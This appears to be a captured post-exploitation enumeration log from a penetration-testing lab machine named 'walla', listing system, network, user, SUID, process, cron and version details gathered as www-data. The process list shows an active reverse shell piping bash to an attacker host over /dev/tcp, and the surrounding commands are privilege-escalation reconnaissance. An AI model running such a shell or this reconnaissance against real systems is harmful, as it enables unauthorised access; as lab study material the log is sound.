System/Kernel
www-data@walla:/var/www/html/includes$ uname -a ; cat /etc/*release
Linux walla 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"4.19.0-10-amd64x86_64Debian GNU/Linux 10 (buster)
Networks
www-data@walla:/var/www/html/includes$ ip route ; arp -a
default via 192.168.179.254 dev ens192 onlink
192.168.179.0/24 dev ens192 proto kernel scope link src 192.168.179.97
? (192.168.179.254) at 00:50:56:9e:b9:f7 [ether] on ens192www-data@walla:/var/www/html/includes$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:42042 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8091 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:422 0.0.0.0:* LISTEN -
tcp 0 141 192.168.179.97:35294 192.168.45.218:9999 ESTABLISHED 17240/bash
tcp 0 0 192.168.179.97:8091 192.168.45.218:33568 ESTABLISHED -
tcp 0 0 192.168.179.97:8091 192.168.45.218:57810 ESTABLISHED -
udp 0 0 0.0.0.0:50095 0.0.0.0:* -
udp 0 0 0.0.0.0:53 0.0.0.0:* -
udp 0 0 0.0.0.0:67 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp 0 0 0.0.0.0:631 0.0.0.0:* - tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
Users & Groups
www-data@walla:/var/www/html/includes$ catcat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi:x:105:115:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:106:116::/var/lib/saned:/usr/sbin/nologin
colord:x:107:117:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:108:7:HPLIP system user,,,:/var/run/hplip:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
postfix:x:111:118::/var/spool/postfix:/usr/sbin/nologin
vnstat:x:112:120:vnstat daemon,,,:/var/lib/vnstat:/usr/sbin/nologin
paige:x:1001:1001::/home/paige:/bin/zsh
terry:x:1002:1002::/home/terry:/bin/bash
walter:x:1003:1003::/home/walter:/bin/bash
janis:x:1004:1004::/home/janis:/bin/bash
total 24K
4.0K drwxr-xr-x 2 janis janis 4.0K Mar 4 2021 janis
4.0K drwxr-xr-x 6 root root 4.0K Sep 17 2020 .
4.0K drwxr-xr-x 2 www-data www-data 4.0K Sep 17 2020 walter
4.0K drwxr-xr-x 2 terry terry 4.0K Sep 17 2020 terry
4.0K drwxr-xr-x 2 paige paige 4.0K Sep 17 2020 paige
4.0K drwxr-xr-x 18 root root 4.0K Sep 17 2020 ..janiswalterterrypaige
www-data@walla:/var/www/html/includes$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=105(avahi) gid=115(avahi) groups=115(avahi)
uid=106(saned) gid=116(saned) groups=116(saned),114(scanner)
uid=107(colord) gid=117(colord) groups=117(colord)
uid=108(hplip) gid=7(lp) groups=7(lp)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=109(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=110(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=111(postfix) gid=118(postfix) groups=118(postfix)
uid=112(vnstat) gid=120(vnstat) groups=120(vnstat)
uid=1001(paige) gid=1001(paige) groups=1001(paige)
uid=1002(terry) gid=1002(terry) groups=1002(terry)
uid=1003(walter) gid=1003(walter) groups=1003(walter)
uid=1004(janis) gid=1004(janis) groups=1004(janis)uid=1001(paige) gid=1001(paige) groups=1001(paige)uid=1002(terry) gid=1002(terry) groups=1002(terry)uid=1003(walter) gid=1003(walter) groups=1003(walter)uid=1004(janis) gid=1004(janis) groups=1004(janis)
SUIDs
www-data@walla:/var/www/html/includes$ find / -perm -04000 -ls -type f 2>/dev/null
786470 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
803325 156 -rwsr-xr-x 1 root root 157192 Feb 2 2020 /usr/bin/sudo
801767 36 -rwsr-xr-x 1 root root 34896 Apr 22 2020 /usr/bin/fusermount
786467 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
802882 16 -rwsr-xr-x 1 root root 14664 Oct 9 2019 /usr/bin/vmware-user-suid-wrapper
790325 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
789998 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
786468 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
789851 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
790323 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
797848 24 -rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec
786471 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
923889 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
797851 20 -rwsr-xr-x 1 root root 18888 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
1050644 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
1051104 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-deviceSGIDs
www-data@walla:/var/www/html/includes$ find / -perm -02000 -ls -type f 2>/dev/null
931239 4 drwx--s--- 2 postfix postdrop 4096 Aug 2 2024 /var/spool/postfix/public
919670 4 drwxrwsr-x 2 root mail 4096 Mar 27 10:46 /var/mail
917682 4 drwxrwsr-x 2 root staff 4096 Feb 1 2020 /var/local
11054 0 drwxr-sr-x 3 root systemd-journal 60 Aug 2 2024 /run/log/journal
11055 0 drwxr-s--- 2 root systemd-journal 200 Mar 27 11:28 /run/log/journal/fff48e84b45e4cedbf29855877ba2a3e
800766 4 drwxrwsr-x 2 root staff 4096 Sep 17 2020 /usr/local/share/fonts
793038 4 drwxrwsr-x 3 root staff 4096 Sep 17 2020 /usr/local/lib/python3.7
793039 4 drwxrwsr-x 2 root staff 4096 Sep 17 2020 /usr/local/lib/python3.7/dist-packages
795440 4 drwxrwsr-x 4 root staff 4096 Sep 17 2020 /usr/local/lib/python2.7
800763 4 drwxrwsr-x 2 root staff 4096 Sep 17 2020 /usr/local/lib/python2.7/site-packages
795441 4 drwxrwsr-x 2 root staff 4096 Sep 17 2020 /usr/local/lib/python2.7/dist-packages
787272 40 -rwxr-sr-x 1 root shadow 39616 Feb 14 2019 /usr/sbin/unix_chkpwd
803047 20 -r-xr-sr-x 1 root postdrop 18552 Jun 29 2020 /usr/sbin/postdrop
803056 24 -r-xr-sr-x 1 root postdrop 22600 Jun 29 2020 /usr/sbin/postqueue
791725 44 -rwxr-sr-x 1 root crontab 43568 Oct 11 2019 /usr/bin/crontab
786466 72 -rwxr-sr-x 1 root shadow 71816 Jul 27 2018 /usr/bin/chage
791665 16 -rwxr-sr-x 1 root tty 14736 May 4 2018 /usr/bin/bsd-write
786469 32 -rwxr-sr-x 1 root shadow 31000 Jul 27 2018 /usr/bin/expiry
787896 36 -rwxr-sr-x 1 root tty 34896 Jan 10 2019 /usr/bin/wall
796809 20 -rwxr-sr-x 1 root mail 18944 Dec 3 2017 /usr/bin/dotlockfile
797098 316 -rwxr-sr-x 1 root ssh 321672 Jan 31 2020 /usr/bin/ssh-agent
263505 4 drwxrwsr-t 2 root lpadmin 4096 Apr 25 2020 /usr/share/ppd/custom
799682 12 -rwxr-sr-x 1 root utmp 10232 Feb 18 2016 /usr/lib/x86_64-linux-gnu/utempter/utempterCapabilities
www-data@walla:/var/www/html/includes$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+epProcesses
www-data@walla:/var/www/html/includes$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.2 0.5 169592 10400 ? Ss 10:31 0:08 /sbin/init
root 248 1.3 0.6 43808 13180 ? Ss 10:31 0:48 /lib/systemd/systemd-journald
root 272 0.0 0.2 22412 5040 ? Ss 10:31 0:00 /lib/systemd/systemd-udevd
root 307 0.0 0.0 186768 552 ? Ssl 10:31 0:00 vmware-vmblock-fuse /run/vmblock-fuse -o rw,subtype=vmware-vmblock,default_permissions,allow_other,dev,suid
systemd+ 453 0.0 0.3 95148 6528 ? Ssl 10:31 0:00 /lib/systemd/systemd-timesyncd
root 454 0.0 0.5 48220 10608 ? Ss 10:31 0:00 /usr/bin/VGAuthService
root 456 0.0 0.6 123172 12604 ? Ssl 10:31 0:01 /usr/bin/vmtoolsd
message+ 465 1.0 0.2 9136 4352 ? Ss 10:31 0:38 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 466 0.0 0.1 8504 2768 ? Ss 10:31 0:00 /usr/sbin/cron -f
root 468 0.4 0.2 225824 4568 ? Ssl 10:31 0:16 /usr/sbin/rsyslogd -n -iNONE
root 469 0.0 0.3 19308 6400 ? Ss 10:31 0:00 /lib/systemd/systemd-logind
avahi 472 0.1 0.1 8284 3816 ? Ss 10:31 0:06 avahi-daemon: running [walla.local]
vnstat 474 0.0 0.0 3920 948 ? Ss 10:31 0:00 /usr/sbin/vnstatd -n
avahi 487 0.0 0.0 8156 320 ? S 10:31 0:00 avahi-daemon: chroot helper
root 497 0.0 0.3 15852 7096 ? Ss 10:31 0:00 /usr/sbin/sshd -D
root 514 0.0 0.0 5612 1748 tty1 Ss+ 10:31 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
www-data 576 0.0 0.3 13748 6968 ? Ss 10:31 0:01 /usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.conf
root 598 0.0 0.1 9608 2124 ? Ss 10:31 0:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compat
www-data 652 0.0 0.9 193080 19836 ? Ss 10:31 0:00 /usr/bin/php-cgi
www-data 693 0.0 0.6 196308 14204 ? S 10:31 0:00 /usr/bin/php-cgi
www-data 694 0.0 0.6 196308 14284 ? S 10:31 0:00 /usr/bin/php-cgi
www-data 695 0.0 0.7 196308 14548 ? S 10:31 0:00 /usr/bin/php-cgi
www-data 696 0.0 0.7 196308 14512 ? S 10:31 0:00 /usr/bin/php-cgi
root 980 0.2 0.2 43476 4852 ? Ss 10:31 0:07 /usr/lib/postfix/sbin/master -w
postfix 985 0.0 0.4 43940 8304 ? S 10:31 0:00 qmgr -l -t unix -u
dnsmasq 1153 0.2 0.1 18012 2760 ? S 10:31 0:07 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -r /run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --local-service --trust-anchor=.,20326,8,2,e06d44b80b8f1d39a95c0b0d7c65d08458e880409bbc683457104237c7f8ec8d
root 1974 0.0 0.4 29216 8264 ? Ss 10:33 0:00 /usr/sbin/cupsd -l
root 1975 0.2 0.5 182880 10708 ? Ssl 10:33 0:07 /usr/sbin/cups-browsed
postfix 2194 0.0 0.3 43820 7960 ? S 10:33 0:00 pickup -l -t unix -u -c
postfix 2642 0.0 0.4 44004 9920 ? S 10:34 0:00 tlsmgr -l -t unix -u -c
www-data 17238 0.0 0.0 2388 696 ? S 11:28 0:00 sh -c bash -c "bash -i >& /dev/tcp/192.168.45.218/9999 0>&1" 2>&1
www-data 17239 0.0 0.1 3736 2804 ? S 11:28 0:00 bash -c bash -i >& /dev/tcp/192.168.45.218/9999 0>&1
www-data 17240 0.0 0.1 3984 3324 ? S 11:28 0:00 bash -i
www-data 18206 0.0 0.1 7924 2840 ? R 11:33 0:00 ps -auxwwwroot 466 0.0 0.1 8504 2768 ? Ss 10:31 0:00 /usr/sbin/cron -fwww-data 576 0.0 0.3 13748 6968 ? Ss 10:31 0:01 /usr/sbin/lighttpd -D -f /etc/lighttpd/lighttpd.confroot 598 0.0 0.1 9608 2124 ? Ss 10:31 0:00 /usr/sbin/xinetd -pidfile /run/xinetd.pid -stayalive -inetd_compatroot 980 0.2 0.2 43476 4852 ? Ss 10:31 0:07 /usr/lib/postfix/sbin/master -wdnsmasq 1153 0.2 0.1 18012 2760 ? S 10:31 0:07 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -r /run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --local-service --trust-anchor=.,20326,8,2,e06d44b80b8f1d39a95c0b0d7c65d08458e880409bbc683457104237c7f8ec8droot 1974 0.0 0.4 29216 8264 ? Ss 10:33 0:00 /usr/sbin/cupsd -lroot 1975 0.2 0.5 182880 10708 ? Ssl 10:33 0:07 /usr/sbin/cups-browsedpostfix 2194 0.0 0.3 43820 7960 ? S 10:33 0:00 pickup -l -t unix -u -cpostfix 2642 0.0 0.4 44004 9920 ? S 10:34 0:00 tlsmgr -l -t unix -u -c
Cron & Systemd
www-data@walla:/var/www/html/includes$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED UNIT ACTIVATES
Thu 2025-03-27 11:39:00 EDT 4min 21s left Thu 2025-03-27 11:09:00 EDT 25min ago phpsessionclean.timer phpsessionclean.service
Fri 2025-03-28 00:00:00 EDT 12h left Thu 2025-03-27 10:33:55 EDT 1h 0min ago logrotate.timer logrotate.service
Fri 2025-03-28 00:00:00 EDT 12h left Thu 2025-03-27 10:33:55 EDT 1h 0min ago man-db.timer man-db.service
Fri 2025-03-28 05:20:53 EDT 17h left Thu 2025-03-27 10:33:55 EDT 1h 0min ago apt-daily.timer apt-daily.service
Fri 2025-03-28 06:10:13 EDT 18h left Thu 2025-03-27 10:33:55 EDT 1h 0min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Fri 2025-03-28 10:46:01 EDT 23h left Thu 2025-03-27 10:46:01 EDT 48min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
6 timers listed.
Pass --all to see loaded but inactive timers, too.Services
www-data@walla:/var/www/html/includes$ systemctl list-units --state=running
UNIT LOAD ACTIVE SUB DESCRIPTION
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point
cups.path loaded active running CUPS Scheduler
init.scope loaded active running System and Service Manager
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
cron.service loaded active running Regular background program processing daemon
cups-browsed.service loaded active running Make remote CUPS printers available locally
cups.service loaded active running CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
dnsmasq.service loaded active running dnsmasq - A lightweight DHCP and caching DNS server
getty@tty1.service loaded active running Getty on tty1
lighttpd.service loaded active running Lighttpd Daemon
open-vm-tools.service loaded active running Service for virtual machines hosted on VMware
postfix@-.service loaded active running Postfix Mail Transport Agent (instance -)
rsyslog.service loaded active running System Logging Service
ssh.service loaded active running OpenBSD Secure Shell server
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running Login Service
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-udevd.service loaded active running udev Kernel Device Manager
vgauth.service loaded active running Authentication service for virtual machines hosted on VMware
vnstat.service loaded active running vnStat network traffic monitor
xinetd.service loaded active running LSB: Starts or stops the xinetd daemon.
avahi-daemon.socket loaded active running Avahi mDNS/DNS-SD Stack Activation Socket
cups.socket loaded active running CUPS Scheduler
dbus.socket loaded active running D-Bus System Message Bus Socket
syslog.socket loaded active running Syslog Socket
systemd-journald-audit.socket loaded active running Journal Audit Socket
systemd-journald-dev-log.socket loaded active running Journal Socket (/dev/log)
systemd-journald.socket loaded active running Journal Socket
systemd-udevd-control.socket loaded active running udev Control Socket
systemd-udevd-kernel.socket loaded active running udev Kernel Socket
LOAD = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB = The low-level unit activation state, values depend on unit type.
31 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.Sudo Version
www-data@walla:/var/www/html/includes$ sudo --version
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27Sudo version 1.8.27
Glibc Version
www-data@walla:/var/www/html/includes$ ldd --version
ldd (Debian GLIBC 2.28-10) 2.28
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Debian GLIBC 2.28-10) 2.28